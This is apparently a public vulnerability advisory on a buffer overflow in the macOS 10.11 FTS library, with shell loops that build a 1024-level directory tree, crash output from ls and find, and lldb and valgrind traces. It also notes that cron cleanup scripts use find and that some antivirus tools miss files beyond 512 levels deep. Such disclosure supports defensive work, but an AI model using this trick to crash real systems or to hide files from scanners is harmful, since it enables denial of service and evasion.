|
MacOS X 10.11 FTS Deep structure of the file system Buffer Overflow
Credit: Maksymilian Arciemowicz ( CXSECURITY )
Website:
http://cxsecurity.com/
http://cert.cx/
Affected software:
- Commands such as: ls, find, rm
- probably more
Apple file system suffer for a issue recognised in FTS library. The main problem occur when we create deep filesystem hierarchy. Unexpected behavior of many programs and invalid memory write seems really interesting.
PoC:
Create an direcotry and perform the following actions:
# for i in {1..1024}; do mkdir B && cd B; done
..
cd: error retrieving current directory: getcwd: cannot access parent directories: No such file or directory
If such error occur, don't panic script will continuing. When the script will finish, you need back to top of directory. E.g.
# for i in {1..1024}; do cd .. ; done
Then you can perform recursive 'ls' command. Let's run it ten times:
# for i in {1..10}; do ls -laR > /dev/null; done
ls: B: No such file or directory
ls: B: No such file or directory
ls: B: No such file or directory
ls: B: No such file or directory
ls: B: No such file or directory
ls: B: No such file or directory
ls: B: No such file or directory
ls: B: No such file or directory
Segmentation fault: 11
Segmentation fault: 11
Segmentation fault: 11
ls: B: No such file or directory
ls: B: No such file or directory
Segmentation fault: 11
ls: B: No such file or directory
ls: B: No such file or directory
crash randometly. Let's see valgrind and lldb
LLDB:
..
/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B:
total 0
drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 .
drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 ..
drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 B
drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 X1
drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 X2
drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 X3
drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 X4
drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 X5
drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 X6
drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 X7
drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 X8
./B/B/B/B/B/B/B/B/..../B/B:
Process 987 stopped
* thread #1: tid = 0x2924, 0x00007fff97ab6d32 libsystem_c.dylib`strlen + 18, queue = 'com.apple.main-thread', stop reason = EXC_BAD_ACCESS (code=1, address=0xfeb66c00)
frame #0: 0x00007fff97ab6d32 libsystem_c.dylib`strlen + 18
libsystem_c.dylib`strlen:
-> 0x7fff97ab6d32 <+18>: pcmpeqb (%rdi), %xmm0
0x7fff97ab6d36 <+22>: pmovmskb %xmm0, %esi
0x7fff97ab6d3a <+26>: andq ___FCKpd___0xf, %rcx
0x7fff97ab6d3e <+30>: orq $-0x1, %rax
(lldb) x/x $rdi
error: memory read failed for 0xfeb66c00
(lldb) register read
General Purpose Registers:
rax = 0x00000000ffffffff
rbx = 0x00000000ffffffff
rcx = 0x00000000feb66c08
rdx = 0x00000000feb66c08
rdi = 0x00000000feb66c00
rsi = 0x00007fff97afbb4d libsystem_c.dylib`__vfprintf + 2742
rbp = 0x00007fff5fbfe710
rsp = 0x00007fff5fbfe710
..
rip = 0x00007fff97ab6d32 libsystem_c.dylib`strlen + 18
..
(lldb) bt
* thread #1: tid = 0x2924, 0x00007fff97ab6d32 libsystem_c.dylib`strlen + 18, queue = 'com.apple.main-thread', stop reason = EXC_BAD_ACCESS (code=1, address=0xfeb66c00)
* frame #0: 0x00007fff97ab6d32 libsystem_c.dylib`strlen + 18
frame #1: 0x00007fff97afc6e8 libsystem_c.dylib`__vfprintf + 5713
frame #2: 0x00007fff97b2535d libsystem_c.dylib`__v2printf + 669
frame #3: 0x00007fff97b095a9 libsystem_c.dylib`_vsnprintf + 596
frame #4: 0x00007fff97b0965e libsystem_c.dylib`vsnprintf + 80
frame #5: 0x00007fff97b3acc0 libsystem_c.dylib`__snprintf_chk + 128
frame #6: 0x00000001000024a8 ls`___lldb_unnamed_function16$ls + 1564
frame #7: 0x0000000100001cfd ls`___lldb_unnamed_function14$ls + 421
frame #8: 0x0000000100001a70 ls`___lldb_unnamed_function13$ls + 2300
frame #9: 0x00007fff93cdb5ad libdyld.dylib`start + 1
=== Time for Valgrind =============
B/B/B/B/B/../B:
total 0
drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 .
drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 ..
drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 B
drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 X1
drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 X2
drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 X3
drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 X4
drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 X5
drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 X6
drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 X7
drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 X8
./B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/
B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B:
total 0
drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 .
drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 ..
drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 B
drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 X1
drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 X2
drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 X3
drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 X4
drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 X5
drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 X6
drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 X7
drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 X8
==1009== Invalid write of size 1
==1009== at 0x1000126C3: _platform_memmove$VARIANT$Ivybridge (in /usr/local/Cellar/valgrind/3.11.0/lib/valgrind/vgpreload_memcheck-amd64-darwin.so)
==1009== by 0x1002E034B: fts_read$INODE64 (in /usr/lib/system/libsystem_c.dylib)
==1009== by 0x100001DAD: ??? (in /bin/ls)
==1009== by 0x100001A6F: ??? (in /bin/ls)
==1009== by 0x1002815AC: start (in /usr/lib/system/libdyld.dylib)
==1009== by 0x1: ???
==1009== by 0x104809C8A: ???
==1009== by 0x104809C8D: ???
==1009== Address 0x100ae9880 is 0 bytes after a block of size 1,280 alloc'd
==1009== at 0x10000FEBB: malloc (in /usr/local/Cellar/valgrind/3.11.0/lib/valgrind/vgpreload_memcheck-amd64-darwin.so)
==1009== by 0x1002DFAB7: __fts_open (in /usr/lib/system/libsystem_c.dylib)
==1009== by 0x100001B92: ??? (in /bin/ls)
==1009== by 0x100001A6F: ??? (in /bin/ls)
==1009== by 0x1002815AC: start (in /usr/lib/system/libdyld.dylib)
==1009== by 0x1: ???
==1009== by 0x104809C8A: ???
==1009== by 0x104809C8D: ???
==1009==
./B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/
B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B:
==1009== Invalid read of size 1
==1009== at 0x1000116BF: strlen (in /usr/local/Cellar/valgrind/3.11.0/lib/valgrind/vgpreload_memcheck-amd64-darwin.so)
==1009== by 0x1003226E7: __vfprintf (in /usr/lib/system/libsystem_c.dylib)
==1009== by 0x10034B35C: __v2printf (in /usr/lib/system/libsystem_c.dylib)
==1009== by 0x10032F5A8: _vsnprintf (in /usr/lib/system/libsystem_c.dylib)
==1009== by 0x10032F65D: vsnprintf (in /usr/lib/system/libsystem_c.dylib)
==1009== by 0x100360CBF: __snprintf_chk (in /usr/lib/system/libsystem_c.dylib)
==1009== by 0x1000024A7: ??? (in /bin/ls)
==1009== by 0x100001CFC: ??? (in /bin/ls)
==1009== by 0x100001A6F: ??? (in /bin/ls)
==1009== by 0x1002815AC: start (in /usr/lib/system/libdyld.dylib)
==1009== by 0x1: ???
==1009== by 0x104809C8A: ???
==1009== Address 0x102d20318 is not stack'd, malloc'd or (recently) free'd
==1009==
==1009==
==1009== Process terminating with default action of signal 11 (SIGSEGV)
==1009== Access not within mapped region at address 0x102D20318
==1009== at 0x1000116BF: strlen (in /usr/local/Cellar/valgrind/3.11.0/lib/valgrind/vgpreload_memcheck-amd64-darwin.so)
==1009== by 0x1003226E7: __vfprintf (in /usr/lib/system/libsystem_c.dylib)
==1009== by 0x10034B35C: __v2printf (in /usr/lib/system/libsystem_c.dylib)
==1009== by 0x10032F5A8: _vsnprintf (in /usr/lib/system/libsystem_c.dylib)
==1009== by 0x10032F65D: vsnprintf (in /usr/lib/system/libsystem_c.dylib)
==1009== by 0x100360CBF: __snprintf_chk (in /usr/lib/system/libsystem_c.dylib)
==1009== by 0x1000024A7: ??? (in /bin/ls)
==1009== by 0x100001CFC: ??? (in /bin/ls)
==1009== by 0x100001A6F: ??? (in /bin/ls)
==1009== by 0x1002815AC: start (in /usr/lib/system/libdyld.dylib)
==1009== by 0x1: ???
==1009== by 0x104809C8A: ???
==1009== If you believe this happened as a result of a stack
==1009== overflow in your program's main thread (unlikely but
==1009== possible), you can try to increase the size of the
==1009== main thread stack using the --main-stacksize= flag.
==1009== The main thread stack size used in this run was 8388608.
==1009==
==1009== HEAP SUMMARY:
==1009== in use at exit: 1,671,999 bytes in 6,025 blocks
==1009== total heap usage: 91,521 allocs, 85,496 frees, 9,706,918 bytes allocated
==1009==
==1009== LEAK SUMMARY:
==1009== definitely lost: 519 bytes in 6 blocks
==1009== indirectly lost: 104 bytes in 6 blocks
==1009== possibly lost: 0 bytes in 0 blocks
==1009== still reachable: 1,645,151 bytes in 5,819 blocks
==1009== suppressed: 26,225 bytes in 194 blocks
==1009== Rerun with --leak-check=full to see details of leaked memory
==1009==
==1009== For counts of detected and suppressed errors, rerun with: -v
==1009== ERROR SUMMARY: 2 errors from 2 contexts (suppressed: 0 from 0)
Segmentation fault: 11
MacMini:SCANME cxsecurity$
It looks like a buffer overflow in memmove(). Code
http://www.opensource.apple.com/source/Libc/Libc-1044.40.1/gen/fts.c
The same issue for 'find' which may be used in cron scripts like
./periodic/daily/110.clean-tmps: find -dx . -fstype local -type f $args -delete $print
./periodic/daily/110.clean-tmps: find -dx . -fstype local ! -name . -type d $dargs -delete $print
./periodic/daily/140.clean-rwho: rc=$(find . ! -name . -mtime +$daily_clean_rwho_days
./periodic/daily/199.clean-fax: find . -type f -name '[0-9]*.[0-9][0-9][0-9]' -mtime +7 -delete >/dev/null 2>&1;
Let's see valgrind output.
MacMini:SCANME cxsecurity$ valgrind find . -name "R"
==1055== Memcheck, a memory error detector
==1055== Copyright (C) 2002-2015, and GNU GPL'd, by Julian Seward et al.
==1055== Using Valgrind-3.11.0 and LibVEX; rerun with -h for copyright info
==1055== Command: find . -name R
==1055==
find: ./.Trashes: Permission denied
==1055== Invalid write of size 2
==1055== at 0x100015690: _platform_memmove$VARIANT$Ivybridge (in /usr/local/Cellar/valgrind/3.11.0/lib/valgrind/vgpreload_memcheck-amd64-darwin.so)
==1055== by 0x1001B134B: fts_read$INODE64 (in /usr/lib/system/libsystem_c.dylib)
==1055== by 0x1000013FA: ??? (in /usr/bin/find)
==1055== by 0x1000052AD: ??? (in /usr/bin/find)
==1055== by 0x1001525AC: start (in /usr/lib/system/libdyld.dylib)
==1055== by 0x3: ???
==1055== by 0x10480CC7F: ???
==1055== Address 0x10120b944 is 2,052 bytes inside a block of size 2,053 alloc'd
==1055== at 0x100013920: realloc (in /usr/local/Cellar/valgrind/3.11.0/lib/valgrind/vgpreload_memcheck-amd64-darwin.so)
==1055== by 0x1001B1767: fts_build (in /usr/lib/system/libsystem_c.dylib)
==1055== by 0x1001B11DA: fts_read$INODE64 (in /usr/lib/system/libsystem_c.dylib)
==1055== by 0x1000013FA: ??? (in /usr/bin/find)
==1055== by 0x1000052AD: ??? (in /usr/bin/find)
==1055== by 0x1001525AC: start (in /usr/lib/system/libdyld.dylib)
==1055== by 0x3: ???
==1055== by 0x10480CC7F: ???
..
Invalid memory write without crashing.
BTW:
Many vendors of antiviruses for MACOS X seems to be blind for malicus software above 512 level of directory. Eg. Eset32, Kaspersky etc.
====== References ===================================
https://cxsecurity.com/issue/WLB-2014040027
https://cxsecurity.com/cveshow/CVE-2014-4433/
https://cxsecurity.com/cveshow/CVE-2014-4434/
https://cxsecurity.com/issue/WLB-2013110059
https://cxsecurity.com/cveshow/CVE-2013-6799/
https://cxsecurity.com/issue/WLB-2010040284
https://cxsecurity.com/cveshow/CVE-2010-0105/
https://cxsecurity.com/issue/WLB-2005090063
====== Thanks ===================================
Kacper and Smash_ from DEVILTEAM for technical support.
====== Credit ===================================
Maksymilian Arciemowicz from cxsecurity.com
http://cxsecurity.com/
http://cert.cx/
http://cifrex.org/
|
推荐
评论(0条)
